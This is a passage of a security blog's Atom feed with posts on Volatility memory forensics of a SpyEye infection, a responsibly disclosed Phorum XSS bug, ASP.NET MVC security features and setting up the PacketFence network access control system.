PsActiveProcessHead linked list.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;vol.py --profile=WinXPSP3x86 pslist -P -f HIOMALVM02.raw&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Use –P to acquire the physical offset for a process, rather virtual which is default.&lt;br /&gt;Results included a number of PPID (parent process IDs) that matched the 1512 PID from &lt;span style="font-family:courier new;"&gt;connscan&lt;/span&gt;:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-48r4uAhu16A/TmRQNKtv4XI/AAAAAAAAAgs/4olaodj0Idk/s1600/ScreenShot002.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 102px;" src="http://2.bp.blogspot.com/-48r4uAhu16A/TmRQNKtv4XI/AAAAAAAAAgs/4olaodj0Idk/s400/ScreenShot002.png" alt="" id="BLOGGER_PHOTO_ID_5648728019774202226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I highlighted the process that jumped out at me given the anomalous time stamp, a 0 thread count and no handles.&lt;br /&gt;Let’s check for additional references to cleansweep.&lt;br /&gt;The &lt;span style="font-family:georgia;"&gt;pstree&lt;/span&gt; plugin prints the process list as a tree so you can visualize the parent/child relationships.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;vol.py --profile=WinXPSP3x86 pstree -f HIOMALVM02.raw&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Results included the PPID of 1512, and the Pid for cleansweep.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-6Tx2m0XIj9E/TmRQmI75SvI/AAAAAAAAAg0/NHC8kUb6A0o/s1600/ScreenShot006.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 40px;" src="http://4.bp.blogspot.com/-6Tx2m0XIj9E/TmRQmI75SvI/AAAAAAAAAg0/NHC8kUb6A0o/s400/ScreenShot006.png" alt="" id="BLOGGER_PHOTO_ID_5648728448793398002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ah, the victim most likely downloaded cleansweep.exe and executed it via Windows Explorer.&lt;br /&gt;But can we extract actual binaries for analysis via the like of Virus Total? Of course.&lt;br /&gt;This is where the malware plugins are very helpful. I already know I’m not going to have much luck exploring PID 3328 as it has no threads or open handles. MHL &lt;a href="http://mnin.blogspot.com/2011/03/mis-leading-active-in.html"&gt;points out&lt;/a&gt; that a process such as cleansweep.exe typically can't remain active with 0 threads as a process is simply a container for threads, and it will terminate when the final thread exits. Cleansweep.exe is still in the process list probably because another component of the malware (likely the one that started cleansweep.exe in the first place) never called &lt;span style="font-family:courier new;"&gt;CloseHandle&lt;/span&gt; to properly "clean up." That said, the PPID of 1512 has clearly spawned PID 3328 so let’s explore the PPID with the &lt;span style="font-family:courier new;"&gt;malfind&lt;/span&gt; plugin, which extracts injected DLLs, injected code, unpacker stubs, and API hook trampolines. The malware (malfind) plugins&lt;br /&gt;don't come packaged with volatility, but are in fact a part of the above mentioned Malware Analyst's Cookbook; the latest version can also be &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/malware.py" target="_blank"&gt;downloaded&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;vol.py --profile=WinXPSP3x86 -f HIOMALVM02.raw malfind -p 1512 -D output/&lt;/span&gt; yielded PE32 gold as seen in Figure 3.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-JcamSst2M7I/TmRRyVj39vI/AAAAAAAAAg8/pg2kyt6AIfQ/s1600/malfind.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 238px;" src="http://3.bp.blogspot.com/-JcamSst2M7I/TmRRyVj39vI/AAAAAAAAAg8/pg2kyt6AIfQ/s400/malfind.png" alt="" id="BLOGGER_PHOTO_ID_5648729757852366578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 3:&lt;/span&gt; malfind plugin results&lt;br /&gt;&lt;br /&gt;Malfind dropped each of the suspicious PE files it discovered to my output directory as .dmp files. I submitted each to Virus Total, and bingo, all three were malicious and identified as SpyEye variants as seen in Figure 4.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-7vRJ_DzBJ0c/TmRSCWvtjDI/AAAAAAAAAhE/F_buX3Upmcs/s1600/vt.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 284px;" src="http://1.bp.blogspot.com/-7vRJ_DzBJ0c/TmRSCWvtjDI/AAAAAAAAAhE/F_buX3Upmcs/s400/vt.png" alt="" id="BLOGGER_PHOTO_ID_5648730033048357938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 4:&lt;/span&gt; PE results from Virus Total&lt;br /&gt;&lt;br /&gt;In essence, we’ve done for ourselves via memory analysis what online services such as Threat Expert will do via runtime analysis. Compare this discussion to the Threat Expert &lt;a href="http://www.threatexpert.com/report.aspx?md5=00b77d6087f00620508303acd3fd846a" target="_blank"&gt;results&lt;/a&gt; for the SpyEye sample I used.&lt;br /&gt;There is so much more I could have discussed here, but space is limited and we’ve pinned the VU meter in the red, so go read the Malware Cookbook as well as all the online Volatility resources, and push Volatility to the boundaries of your skill set and imagination. In my case the only limiting factors were constraints on my time and my lack of knowledge. There are few limits imposed on you by Volatility; 64bit and Linux analysis support are pending. Get to it!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;In Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I’ve said it before and I’ll say it again. I love Volatility. Volatility 2.0 makes me squeal with delight and clap my hands like a little kid at the state fair. Oh the indignity of it all, a grown man cackling and clapping when he finds the resident evil via a quick memory image and the glorious volatile memory analysis framework that is Volatility.&lt;br /&gt;An earlier comment from MHL bears repeating here. Volatility source code can be likened to “a Python version of the Windows Internals book, since you can really learn a lot about Windows by just looking at how Volatility enumerates evidence.”  Yeah, what he said.&lt;br /&gt;Do you really need any more motivation to explore and use Volatility for yourself?&lt;br /&gt;There’s a great list of &lt;a href="http://code.google.com/p/volatility/wiki/FAQ#Are_there_any_public_memory_samples_available_that_I_can_use_for" target="_blank"&gt;samples&lt;/a&gt; to grab and play with. Do so and enjoy! As it has for me, this process will likely become inherent to your IR and forensic efforts, perhaps even surpassing other tactics and methods as your preferred, go-to approach.&lt;br /&gt;Ping me via email if you have questions (russ at holisticinfosec dot org).&lt;br /&gt;Cheers…until next month.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Acknowledgements&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mike Auty &amp;amp; Michael Hale Ligh of the Volatility project.&lt;br /&gt;AAron Walters – Volatility lead&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-1522711690584203785?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/1522711690584203785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=1522711690584203785' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1522711690584203785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1522711690584203785'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/09/toolsmith-memory-analysis-with-dumpit.html' title='toolsmith: Memory Analysis with DumpIt and Volatility'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-hFeTAEK4k20/TmRLWnm4p0I/AAAAAAAAAgM/L6C4DEvS7Gw/s72-c/title.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4555525978765443928</id><published>2011-08-29T19:56:00.000-07:00</published><updated>2011-08-30T22:54:46.323-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Phorum Phixes Phast</title><content type='html'>I was paying a visit to the &lt;a href="http://www.freebsddiary.org" target="_blank"&gt;FreeBSD Diary&lt;/a&gt; reading &lt;a href="http://dan.langille.org/" target="_blank"&gt;Dan Langille&lt;/a&gt;'s post &lt;a href="http://www.freebsddiary.org/captcha-failure.php"&gt;grep, sed, and awk for fun and profit&lt;/a&gt; (a great read, worthy of your time) when my Spidey sense kicked in. &lt;br /&gt;Specific to log messaging he'd created for captcha failures, Dan mentioned that "these messages are created by some custom code I have added to Phorum." &lt;br /&gt;Oh...Phorum, CMS/BBS/forum/gallery software I'd not seen before.&lt;br /&gt;I installed Phorum 5.2.16 in my test environment, ran it through my normal web application security testing regimen, and found a run-of-the-mill cross-site scripting (XSS) bug. There's no real story there, just another vuln in a realm where they are commonplace.&lt;br /&gt;What is not commonplace in this tale though is the incredibly responsive, timely, and transparent nature with which the Phorum project's &lt;a href="http://ts77.wordpress.com/" target="_blank"&gt;Thomas Seifert&lt;/a&gt; addressed this vulnerability. I truly appreciate devs and teams like this. He even kindly tolerated my completely misreading the Github commit's additions and deletions.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;August 22nd&lt;/span&gt; - XSS vuln advisory submitted to security@phorum.org. &lt;span style="font-style:italic;"&gt;Yay! They have a security alias, and they read what's submitted to it.&lt;/span&gt; :-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;August 25th&lt;/span&gt; - Thomas replies and says "Thanks for your report.&lt;br /&gt;We fixed the issue in the git repository, &lt;a href="https://github.com/Phorum/Core/commit/c1423ebfff91218a4c1b31047d6baf855603cc91" target="_blank"&gt;https://github.com/Phorum/Core/commit/c1423ebfff91218a4c1b31047d6baf855603cc91&lt;/a&gt;, and will push out a new release in the next 2 days." &lt;span style="font-style:italic;"&gt;Sweet, not only is the project responsive and transparent, they're open with their source and change management.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;August 26th&lt;/span&gt; - Thomas replies again, Phorum 5.2.17 is live. "Release is out:&lt;br /&gt;&lt;a href="http://www.phorum.org/phorum5/read.php?64,149490,149490#msg-149490" target="_blank"&gt;http://www.phorum.org/phorum5/read.php?64,149490,149490#msg-149490&lt;/a&gt;." &lt;span style="font-style:italic;"&gt;Outstanding! And a day early than the suggested release window.&lt;/span&gt; &lt;a href="http://secunia.com/advisories/45787/" target="_blank"&gt;Advisory&lt;/a&gt; &lt;a href="http://holisticinfosec.org/content/view/184/45/" target="_blank"&gt;published&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;One need only read the changelog to see the level of dedication and commitment Thomas and team afford their project. &lt;br /&gt;&lt;br /&gt;Nothing else to say but bloody well done. Thank you, Thomas and the Phorum team. More smiles and less middle finger make for happier security grunts.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4555525978765443928?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4555525978765443928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4555525978765443928' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4555525978765443928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4555525978765443928'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/08/phorum-phixes-phast.html' title='Phorum Phixes Phast'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4695159446091496664</id><published>2011-08-28T14:30:00.000-07:00</published><updated>2011-08-28T22:42:11.687-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open redirect'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='SDL'/><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET.MVC'/><title type='text'>ASP.NET vs. ASP.NET.MVC &amp; security considerations</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-QXB2APfGeZc/TlsjrBzPr7I/AAAAAAAAAf8/8wYooL7CmWs/s1600/MVCsecurity.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 327px; height: 314px;" src="http://1.bp.blogspot.com/-QXB2APfGeZc/TlsjrBzPr7I/AAAAAAAAAf8/8wYooL7CmWs/s400/MVCsecurity.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5646145779963768754" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I just read a recent Dr. Dobb's &lt;a href="http://drdobbs.com/windows/231002811" target="_blank"&gt;article&lt;/a&gt;, as posted in Information Week and online, that provides perspective regarding moving from ASP.NET to ASP.NET.MVC.&lt;br /&gt;Some quick highlights from the article to frame this discussion.&lt;br /&gt;First, ASP.NET.MVC applies the &lt;span style="font-style:italic;"&gt;"Model-View-Controller (MVC) to ASP.NET. The MVC pattern, which is frequently used in the design of web sites, aims to separate data, business logic, and the presentation to the user. The challenge in many cases is keeping business logic out of the presentation layer; and careful design based on MVC greatly reduces the prospect of this intermingling."&lt;/span&gt;&lt;br /&gt;Second, the various perspectives.&lt;br /&gt;&lt;br /&gt;ASP.NET.MVC upside:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"ASP.NET MVC is technically superior to ASP.NET Web Forms because, having been released five years later, it addresses the business and technology changes that have occurred during the intervening period — testability, separation of concerns, ease of modification, and so on."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The ASP.NET.MVC vs ASP.NET middle ground:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"When it comes to the core function, however, there is nearly no difference."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The ASP.NET.MVC downside:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"ASP.NET MVC has greater startup costs. And in some applications, ASP.NET MVC is a substantial turnaround from ASP.NET Web Forms."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I have no take on these positions either way; they all seem reasonable, but the topic triggered dormant thoughts for me bringing back to mind some interesting work from a couple of years ago.&lt;br /&gt;&lt;br /&gt;The Dr. Dobb's M-Dev article, while clearly operating from the perspective of development and deployment, &lt;span style="font-weight:bold;"&gt;does not discuss some of the innate security features available to ASP.NET.MVC users that I think help give it an edge&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/download/en/details.aspx?id=14501" target="_blank"&gt;Preventing Security Development Errors: Lessons Learned at Windows Live by Using ASP.NET MVC&lt;/a&gt; is a November 2009 paper that I've already &lt;a href="http://holisticinfosec.blogspot.com/2009/11/whitepaper-review-preventing-security.html" target="_blank"&gt;discussed&lt;/a&gt; and is well worthy of another read in this context.&lt;br /&gt;I'll use this opportunity to simply remind readers of ASP.NET.MVC's security-centric  features, including available tutorials.&lt;br /&gt;&lt;br /&gt;1) &lt;a href="http://www.asp.net/mvc/tutorials/preventing-open-redirection-attacks" target="_blank"&gt;Preventing Open Redirection Attacks&lt;/a&gt; &lt;br /&gt;Open redirection (&lt;a href="http://cwe.mitre.org/data/definitions/601.html" target="_blank"&gt;CWE-601&lt;/a&gt;) is easily prevented with ASP.NET.MVC 3 (code can be added with some modification to ASP.NET MVC 1.0 and 2 applications).&lt;br /&gt;In short, the ASP.NET MVC 3 LogOn action code has been changed to validate the returnUrl parameter by calling a new method in the System.Web.Mvc.Url helper class named IsLocalUrl(). This ASP.NET.MVC tutorial is drawn from Jon Galloway's &lt;a href="http://weblogs.asp.net/jgalloway/archive/2011/01/25/preventing-open-redirection-attacks-in-asp-net-mvc.aspx" target="_blank"&gt;blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;2) Prevent CSRF&lt;br /&gt;From the Windows Live paper:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"To defend a Web site against XSRF attacks, ASP.NET MVC provides AntiForgeryToken helpers. These consist of a ValidateAntiForgeryToken attribute, which the developer can attach to controller classes or methods, and the Html.AntiForgeryToken() method."&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;3) JSON hijacking&lt;br /&gt;&lt;a href="http://www.casaba.com/blog/tag/asp-net/" target="_blank"&gt;Casaba&lt;/a&gt; contributed to the Windows Live paper. From their blog:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"For JSON hijacking, they ensure that the JSON result included a canary check by default. This prevented developers from being able to return JSON without a canary, thus preventing JSON hijacking."&lt;/span&gt;&lt;br /&gt;Much like the CSRF mitigation, the canary check comes through again.&lt;br /&gt;The Windows Live method defined a custom ASP.NET MVC Action Filter attribute to define the HTTP verbs they would accept and ensure that each action required the use of a canary.&lt;br /&gt;&lt;br /&gt;It's also a straightforward process to prevent JavaScript injection &amp; cross-site scripting (XSS) in the ASP.NET.MVC View or Controller via HTML.Encode where you:&lt;br /&gt;a) HTML encode any data entered by website users when you redisplay the data in a view&lt;br /&gt;b) HTML encode the data just before you submit the data to the database&lt;br /&gt;See Stephen Walther's &lt;a href="http://www.asp.net/mvc/tutorials/preventing-javascript-injection-attacks-cs" target="_blank"&gt;tutorial&lt;/a&gt; for more.&lt;br /&gt;&lt;br /&gt;In summary, in addition to ASP.NET.MVC's development and functionality features, perhaps these security-centric features may help you decide to make the move to ASP.NET.MVC.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4695159446091496664?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4695159446091496664/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4695159446091496664' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4695159446091496664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4695159446091496664'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/08/aspnet-vs-aspnetmvc-security.html' title='ASP.NET vs. ASP.NET.MVC &amp; security considerations'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-QXB2APfGeZc/TlsjrBzPr7I/AAAAAAAAAf8/8wYooL7CmWs/s72-c/MVCsecurity.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6479646584193251381</id><published>2011-08-03T12:54:00.000-07:00</published><updated>2011-08-03T20:22:46.108-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='NAC'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><category scheme='http://www.blogger.com/atom/ns#' term='Defcon'/><title type='text'>toolsmith: PacketFence - Open Source NAC</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Lj9d9pz7CXY/TjmscEShOHI/AAAAAAAAAfU/M9v8b4zqrv8/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 336px; height: 81px;" src="http://1.bp.blogspot.com/-Lj9d9pz7CXY/TjmscEShOHI/AAAAAAAAAfU/M9v8b4zqrv8/s400/title.png" alt="" id="BLOGGER_PHOTO_ID_5636726006818617458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Reprinted with permission for the author only from the August 2011 ISSA Journal&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;An old boss of mine always found a way to blame the vast majority of security-related problems on “the fuzzy neural network behind the keyboard.” Yep, users; what would our lives be without them? There are a plethora of ways, methods, and manner with which to protect your critical assets and networks from said users, amongst them Network Access Control or NAC. A variety of commercial NAC solutions are offered; you may also have heard or read discussions regarding the nuance between Cisco’s Network Admission Control and Microsoft’s Network Access Protection. As such solutions are proprietary and have costs associated with them, we’ll steer clear of any debate and discuss an outstanding free and open source (FOSS) solution, as is the toolsmith norm.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.packetfence.org/home.html" target="_blank"&gt;PacketFence&lt;/a&gt; is a fully supported (tiered support, bronze to platinum, is available, as well as consultation hours or full deployment services) NAC system that is in use in financial, education, engineering, and manufacturing sectors, to mention a few. It’s used right here in my own backyard at Seattle Pacific University and is considered a trusted and indispensable &lt;a href="http://www.packetfence.org/tour/testimonials.html" target="_blank"&gt;resource&lt;/a&gt;. PacketFence sports a robust feature set including a captive-portal for registration and remediation, centralized wired and wireless management, 802.1x support, Layer-2 isolation of problematic devices, as well as integration with both Snort IDS and Nessus.&lt;br /&gt;PacketFence is supported and maintained by Inverse, a Montreal-based firm. PacketFence development is helmed by Olivier Bilodeau, Inverse’s System Architect.&lt;br /&gt;Olivier provided with an update on PacketFence news and developments as I prepared for this article.&lt;br /&gt;As his is an open source company generating its revenue via services, the PacketFence roadmap is strongly influenced by customer demand and as such sometimes moves in different direction than the public roadmap.&lt;br /&gt;&lt;br /&gt;Expect the following in the next major release, 3.0 (likely mid-August):&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Completely re-designed Captive Portal&lt;/li&gt;&lt;li&gt;Guest API that, with little effort, allows a lot of different guest management workflows (email confirmation, self-registration, pre-registration, SMS confirmation, hotel-style code generation, etc.)&lt;/li&gt;&lt;/ul&gt;According to Olivier, the Guest API has been in the making for more than a year in a separate&lt;br /&gt;branch and now they think it's ready to be merged in for the pending 3.0 release.&lt;br /&gt;Inverse has also been working on other features that may or may not make it to 3.0 including:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ability to run PacketFence in out-of-band and inline mode at the same &lt;a href="http://www.mail-archive.com/packetfence-devel@lists.sourceforge.net/msg00248.html" target="_blank"&gt;time&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Pushing ACLs/Roles per device/user on the edge. This would allow for more granular control over who has access to what, without VLAN management overhead, and enforced at the edge instead of at the firewall. They are also experimenting with applying QoS the same way.&lt;/li&gt;&lt;li&gt;Integration with RADIUS Accounting to track bandwidth consumption per user and potentially enforce bandwidth usage restrictions&lt;/li&gt;&lt;/ul&gt;Olivier wants to reinforce that all the development is conducted in the open, released under the GPL, and committed directly to public &lt;a href="http://mtn.inverse.ca/" target="_blank"&gt;repositories&lt;/a&gt; so all the features mentioned above are available (although at varying degrees of completion). Snapshots are built nightly directly from the trunk branch and several tests are run on it to make sure it meets a certain quality. This makes it very easy to preview upcoming PacketFence features in a staging environment or a VM.&lt;br /&gt;Inverse maintains PacketFence installations where there are more than a thousand switches and even more access points, including several customers who crossed the '25,000 devices handled by PacketFence' line in the last two years or so. As such, Olivier strongly affirms that PacketFence competes with big brand commercial offerings both in cost, features, and scalability.&lt;br /&gt;In addition to keeping an eye on PacketFence.org, you’re encouraged to subscribe to the PacketFence Twitter feed to stay abreast updates on what they’re are working on: @packetfence&lt;br /&gt;Finally, if you’re going to be in Las Vegas for Defcon 19, be sure to check out Olivier’s presentation, &lt;a href="https://www.defcon.org/html/defcon-19/dc-19-speakers.html#Bilodeau2" target="_blank"&gt;PacketFence, The Open Source NAC: What We've Done in the Last Two Years&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Installation/Configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First, PacketFence is supported by rich documentation; I’ll only cover some details that were directly applicable to my experience setting it up in the toolsmith lab.&lt;br /&gt;Core to a sound PacketFence installation is a supported switch. Refer to the &lt;a href="http://www.packetfence.org/downloads/PacketFence/doc/PacketFence_Network_Devices_Configuration_Guide-2.2.1.pdf" target="_blank"&gt;PacketFence version 2.2.1 Network Devices Configuration Guide&lt;/a&gt;  for device specifics. I used a Cisco Catalyst 3548 XL for this effort but said switch is rather dated. The Catalyst 3548 XL does not support 802.1X, the preferred port-based Network Access Control method, so I was limited to MAC detection/isolation and was not able to push PacketFence nearly to the extent I would have liked to.&lt;br /&gt;Inverse includes a VMWare appliance, aptly named ZEN (&lt;a href="http://www.packetfence.org/download/vmware_appliance_zen.html" target="_blank"&gt;Zero Effort NAC&lt;/a&gt;), perfect for folks wishing to assess a fully installed and preconfigured version of PacketFence 2.2.1 when on a tight timeline. Again, there is a &lt;a href="http://sourceforge.net/projects/packetfence/files/PacketFence%20ZEN/2.2.1/PacketFenceZEN_Installation_Guide-2.2.1.pdf/download" target="_blank"&gt;PacketFence ZEN version 2.2.1 Installation Guide&lt;/a&gt; to support your efforts in full.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; the ZEN VMWare appliance version of PacketFence requires a 64-bit capable system.&lt;br /&gt;For those of planning dedicated installations, the recommended distributions are RHEL 5 or CentOS 5 for which Inverse offers a yum &lt;a href="http://www.packetfence.org/download/releases.html" target="_blank"&gt;repository&lt;/a&gt;.&lt;br /&gt;If you intend to investigate PacketFence via the ZEN appliance, you’ll need to configure your supported switch as follows:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;VLAN 1 - management VLAN&lt;/li&gt;&lt;li&gt;VLAN 2 - registration VLAN (unregistered devices will be put in this VLAN)&lt;/li&gt;&lt;li&gt;VLAN 3 - isolation VLAN (isolated devices will be put in this VLAN)&lt;/li&gt;&lt;li&gt;VLAN 4 - MAC detection VLAN (empty VLAN: no DHCP, no routing, no nothing)&lt;/li&gt;&lt;li&gt;VLAN 5 - guest VLAN&lt;/li&gt;&lt;li&gt;VLAN 10 - “regular” VLAN&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Refer to the IP and subnet table on page 7 of the ZEN Installation Guide for network configurations per VLAN; DHCP and DNS services are provided by PacketFence ZEN.&lt;br /&gt;I set the switch up with an IP address of 10.0.10.2 and on interface f0/48 I defined the port as a dot1q trunk (several VLANs on the port) with VLAN 1 as the native (untagged) VLAN as required for the PacketFence (PacketFence) ZEN host.&lt;br /&gt;&lt;br /&gt;This is easily done on a Cisco switch as follows:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;enable&lt;br /&gt;conf term&lt;br /&gt;int fa0/48&lt;br /&gt;switchport trunk encapsulation dot1q&lt;br /&gt;switchport mode trunk&lt;br /&gt;end (Cntrl Z)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The ZEN VM appliance is preconfigured to match interfaces to VLANs, just be sure they’re all set to bridged under &lt;span style="font-family:courier new;"&gt;VM --&amp;gt; Settings --&amp;gt;  Network Adapter&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;If all is configured properly, and your Zen VM appliance is connected to the do1q trunk interface, you should be able to browse to https://192.168.1.10:1443 and make use of the PacketFence UI.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; You’ll discover a slight mismatch between the PacketFence ZEN guide and the network configuration guide where the network configuration guide describes the PacketFence host IP as 192.168.1.5. If you’re going with the ZEN installation guidance and using the ZEN VM, the PacketFence VM appliance IP is 192.168.1.10.&lt;br /&gt;&lt;br /&gt;The PacketFence work flow exemplifies a network “perfect world” in my opinion. A host that joins the network does so in a (limited capacity (no Internet or access) via MAC detection (VLAN4) and is then shunted to registration (VLAN2). Upon successful registration a host continues either as a guest (VLAN5) or an approved system for normal access (VLAN10).&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt; offers a node view including all the unregistered hosts identified by my test instance of PacketFence.&lt;br 